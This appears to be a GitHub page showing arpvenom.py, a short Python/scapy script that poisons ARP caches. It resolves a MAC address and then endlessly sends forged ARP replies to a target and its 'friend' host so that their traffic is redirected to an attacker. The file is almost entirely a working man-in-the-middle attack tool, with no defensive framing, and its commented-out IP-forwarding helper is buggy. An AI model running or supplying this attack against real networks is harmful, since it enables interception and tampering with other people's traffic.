-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy patharpvenom.py
executable file
·49 lines (36 loc) · 1.43 KB
/
arpvenom.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python3
from scapy.all import *
import argparse
def checkProc():
with open('/proc/sys/net/ipv4/ip_forward') as f:
if f.read() == 0:
f.seek(0)
f.write(1)
f.truncate()
print("Overwritten /proc/sys/net/ipv4/ip_forward val to 1")
def getEvilMac(friend, evilIP):
getMac = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=friend, psrc=evilIP)
response = srp(getMac, timeout=3)
evilMac = response[0][0][1].hwdst
if not evilMac:
print(" [X] Couldn't pick up a MAC address to spoof for %s" % evilIP)
else:
return evilMac
def sendPoison(target, source, evilMac):
send(ARP(op=2, pdst=target, psrc=source, hwsrc=evilMac))
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Poison a target''s ARP cache with a given MAC address')
parser.add_argument('-t', metavar='target', help='the target whose ARP cache we''re going for')
parser.add_argument('-e', metavar='evil', help='the IP address we are spoofing traffic to')
parser.add_argument('-f', metavar='friend', help='the friend of the target')
# checkProc()
args = parser.parse_args()
target = args.t
evilIP = args.e
friend = args.f
evilMac = getEvilMac(friend, evilIP)
print("the evil MAC address is: %s" % evilMac)
while True:
sendPoison(target, friend, evilMac)
sendPoison(friend, target, evilMac)
time.sleep(1)